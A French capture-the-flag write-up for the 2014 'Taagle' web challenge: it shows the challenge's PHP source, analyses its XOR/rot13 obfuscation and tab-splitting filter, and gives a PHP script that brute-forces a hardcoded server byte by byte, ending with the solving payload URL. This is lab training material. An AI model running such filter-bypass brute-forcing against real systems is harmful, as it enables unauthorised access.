Moteur de recherche Taagle

Code source disponible pour cette épreuve : https://repo.zenk-security.com/hackingweek2014_ctf/web2.zip

code index.php

<?php session_start(); ?>
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <link rel="stylesheet" href="../style.css" />
    <title>Web 2</title>
  </head>
 
  <body>
	<div id="background">
		<h1>Web 2</h1>
 
		<form method="get" action="search.php">
			<img src="../pictures/taagle.png" alt="Taagle" id="taagle"/><br />
			<span id="future">The future's most advanced search engine</span>
 
			<input type="text" name="query" id="query" /><br/>
			<input type="submit" value="SEARCH" id="querysearch" />
		</form>
 
		<p class="info">
			Ce challenge mettra à l'épreuve les compétences Web de l'attaquant en lui proposant de découvrir et d'exploiter une faille Web.
			A l'issue de ce défi, l'attaquant obtiendra une connaissance plus importante des différentes fonctions de filtrage sur les chaînes
			de caractères et des expressions régulières simples.
		</p>
 
		<p class="info">
			Le propriétaire souhaite mettre en place une nouvelle solution de moteur de recherche sur Internet, se basant sur un algorithme
			novateur et secret dont il est l'auteur. Malheureusement, le fait de rechercher le nom du site Web entraîne une récursivité
			infinie qui menace de provoquer un cataclysme intersidéral. L'administrateur a mis en place diverses protections afin de
			se prémunir définitivement de ce problème. La mission de l'attaquant est ici d'anéantir la planète Terre.
		</p>
 
		<p class="info">
			Vous trouverez les fichiers nécessaires à la résolution de ce challenge <a href="web2.zip">ici.<a/>
		</p>
 
	</div>
  </body>
</html>

code search.php

<?php
 
require_once "../secret.php";
 
session_start();
 
if ((!isset($_GET['query'])) or ($_GET['query'] == ""))
{
	header('Location: index.php');
	die;
}
// Filter the query
$query = htmlspecialchars($_GET['query'], ENT_QUOTES, 'ISO-8859-1');
$query = strtolower($query);
$query = truncate_query($query);
$query = forbidden_query($query);
$query = filter_query($query);
 
if ($query != null)
	$_SESSION['web2'] = $query;
else
	die("Oops! This page appears broken - Access error.");
 
$results = search_query($query);
 
if ($results == null)
	die("Oops! This page appears broken - Access error.");
 
?>
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <link rel="stylesheet" href="../style.css" />
    <title>Web 2</title>
  </head>
 
  <body>
	<div id="background">
 
		<form method="get" action="search.php">
			<img src="../pictures/taagle.png" alt="Taagle" id="taagle"/><br />
			<span id="future">The future's most advanced search engine</span>
			<input type="text" name="query" id="query" /><br/>
			<input type="submit" value="SEARCH" id="querysearch" />
		</form>
 
		<hr />
 
		<dl id="result">
<?php
			foreach($results as $ext=>$result)
			{
?>
			<dt><a href="<?php echo $result . $ext;?>" alt="<?php echo $result; ?>"><?php echo $result.$ext; ?></a></dt>
			<dd>
				Bienvenue sur <?php echo $result . $ext; ?> !
				<br />
				<span><?php echo $result . $ext; ?></span>
			</dd>
<?php
			}
?>
			<p>Recherche effectuée en 3.1415ns</p>
		</dl>
	</div>
 
  </body>
</html>
 
 
<?php
 
// A request should never exceed 50 characters
function truncate_query($query)
{
	if (strlen($query) > 50)
	{
		return substr($query, 0, 50);
	}
 
	return $query;
}
 
 
// Forbidden queries
function forbidden_query($query)
{
	static $forbidden_words = array("taagle",						// Avoid a global cataclysm
									"google", "yahoo", "bing");		// No advertisement for other companies
 
	foreach($forbidden_words as $fw)
	{
		if (stristr($query, $fw) !== false)
		{
			return obfuscate_query($query);
		}
	}
 
	return $query;
}
 
 
// Obfuscate queries so user cannot advertise for other companies on webpages
function obfuscate_query($query)
{
	global $obf_seq;
 
	for($i = 0; $i < strlen($query); $i++)
	{
		$query[$i] = chr(ord($query[$i]) ^ $obf_seq[$i % count($obf_seq)]);
	}
 
	$query = str_rot13($query);
 
	return $query;
}
 
 
// Filter out the query
function filter_query($query)
{
	$query = str_replace(array("\r", "\n", "\t", "\\"), "\n", $query);
	list($query,) = explode("\n", $query, 2);
	$query = trim($query);
 
	if (preg_match("/[a-zA-Z0-9]+/", $query) === false)
		return null;
 
	return $query;
}
 
 
function search_query($query)
{
	if ($query == "taagle")
	{
?>
 
	<!DOCTYPE html>
	<html>
		<head>
			<meta charset="utf-8" />
			<link rel="stylesheet" href="../style.css" />
			<title>Web 2</title>
		</head>
		<body id="cataclysm">
			<a href="success.php">Vous avez provoqué un cataclysme intersidéral. Cliquez ici pour assister à la destruction de l'univers.</a>
		</body>
	</html>
 
<?php
		return null;
	}
 
	static $exts = array(".com", ".net", ".org", ".php");
	$results = array();
 
	foreach($exts as $ext)
	{
		$results[$ext] = $query;
	}
 
	return $results;
}
?>

Pour accéder à la page success.php qui provoque le “cataclysme” il faut que la condition ($query == “taagle”) soit validé dans la fonction search_query($query).

Première analyse des filtres effectués en début de code sur $query ($_GET):

$query = htmlspecialchars($_GET['query'], ENT_QUOTES, 'ISO-8859-1');

$query = strtolower($query);

$query = truncate_query($query);

$query = forbidden_query($query);

$query = filter_query($query);

La fonction search_query est appelé via “$results = search_query($query);” après l'appel des filtres.

Si on entre le mot clé “taagle” dans le champs de recherche nous avons en résultat “$�=” ce qui est pas top :) (l'obfuscation fonctionne bien)

il faut donc trouver quelle chaine de caractère entré pour avoir “taagle” en sortie !

il faut regarder la fonction obfuscate_query de plus près.

function obfuscate_query($query)
{
	global $obf_seq; // clé pour le xor masqué dans le fichier require ../secret.php
 
	for($i = 0; $i < strlen($query); $i++) // boucle sur la longueur de la chaine query
	{
		$query[$i] = chr(ord($query[$i]) ^ $obf_seq[$i % count($obf_seq)]); // XOR entre les charactères de query et la clé
	}
 
	$query = str_rot13($query); // appel à la fonction rot13 pour faire un décalage de 13 dans l'alphabet (26)
 
	return $query;
}

Ensuite il faut exploiter la fonction filter_query pour forcer le passage dans la fonction d'obfuscation et conserver que notre chaine de caractère qui écrit “taagle”

filter_query(“test\t titi”);

va retourner test

si l'on fait

filter_query(“test\t taagle”);# test taagle

va retourné $�/eJ.�25 car la présence du mot clé “taagle” nous fait entrer dans la fonction d'obfuscation.

il faut donc faire un script qui poste une chaine de caractère de la forme :

<caractères> \t taagle

ou l'on fait une itération sur chaque <caractère> (caractère ascii 00 caractère ascii 01 caractère ascii 02 ….) jusqu'a l'obtention d'un t

puis on cherche le deuxième caractère qui donne un a … et ainsi de suite.

voici un code qui permet de le faire (en php :) )

le code se résume à “$start.$char.'taagle'”

<?php
# url du moteur taagle
$url = "http://91.121.9.92/web2/search.php?query=";
 
# ce que l'on cherche à obtenir dans la réponse du moteur de recherche
$comps = str_split('taagle'."\t");
 
$start="";
foreach($comps as $key=>$cmp){ #pour chaque char recherché
	for($i=0;$i<256;$i++){ # on boucle sur la table ascii 256 # 128 n'a pas trouvé toute les lettres

		$char = chr($i); # on convertie l'int en caractère ascii 	# string chr ( int $ascii )				  
		$res = getQuery($url,urlencode($start.$char.'taagle')); # récupère le résultat de la page
		if(!isset($res[1][0])){ # si pas de résultat
			$http = file_get_contents($url.urlencode($start.$char.'taagle')); # on récupère la page avec notre mot ($start)
			if (strpos($http,'cataclysme') !== false) { # si il y a cataclysme sur la page
				echo "\n\n url $url".urlencode($start.$char.'taagle'); # on affiche l'url trouvé afin de la consulter
				exit(); # fin
			}
		}
		else{ # sinon (il y a une réponse)
			$tmp = (string)$res[1][0];
			$str = str_split($res[1][0]);
			echo "."; # des petits points 
			if(ord($str[$key]) == ord($cmp)){ # si le mot chercher est dans la page on concatène le caractère qui à permis de l'obtenir à $start 
				
				echo "\n".urlencode($char)." : ".urlencode($cmp)."\n"; # on affiche 
				$start=$start."$char";
				break;
			}
		}
	}
}
 
 
function getQuery($url,$query){ #r écupère le résultat de la requete faite au moteur taagle
	$res = file_get_contents($url.$query);
 
	$patern="@<span>(.*)</span>@";# <span>$query.net</span>
	preg_match_all($patern,$res,$matches);
 
	return $matches;
}
?>

http://img15.hostingpics.net/pics/981774web2.png

la solution est

http://91.121.9.92/web2/search.php?query=7%9A2%19%02%06%3Btaagle

http://img15.hostingpics.net/pics/317320cataclysme.png http://img15.hostingpics.net/pics/533569success.png